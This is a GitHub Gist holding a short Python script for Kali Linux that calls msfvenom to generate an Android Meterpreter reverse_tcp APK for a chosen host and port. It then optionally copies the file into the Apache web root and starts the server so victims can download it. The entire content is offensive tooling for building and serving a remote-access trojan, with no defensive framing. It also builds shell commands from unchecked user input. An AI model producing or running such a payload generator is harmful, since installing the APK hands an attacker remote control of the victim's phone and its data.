Last active
May 7, 2019 10:19
-
-
Save btarg/48812fd6efcab6935b980591392819ff to your computer and use it in GitHub Desktop.
[KALI LINUX] Create shell.APK for Meterpreter and copy it to the Apache server
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Create shell.APK for Meterpreter and copy it to the Apache server | |
# iCrazyBlaze, 27/02/2018. | |
import os | |
print("==============================================") | |
print("iCrazyBlaze's Meterpreter APK generator v1.0") | |
print("==============================================") | |
print("") | |
print("Localhost IP address:") | |
hostip = input("> ") | |
print("\nPort number:") | |
port = input("> ") | |
print("\nFilename: (without extension)") | |
filename = input("> ") | |
print("\nCopy the file to the WWW folder and run the Apache server? [Y/n]") | |
apache = input("> ") | |
if apache == 'y' or apache == 'n': | |
print("\nCreating file...") | |
os.system("msfvenom -p android/meterpreter/reverse_tcp LHOST=" + hostip + " LPORT=" + port + " R >" + filename + ".apk") | |
print("File created.") | |
if apache == 'y': | |
print("Copying file...") | |
os.system("sudo cp " + filename + ".apk /var/www/html/" + filename + ".apk") | |
print("File copied to Apache server. Starting service...") | |
os.system("service apache2 start") | |
print("\n\nProcess finished!\n") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment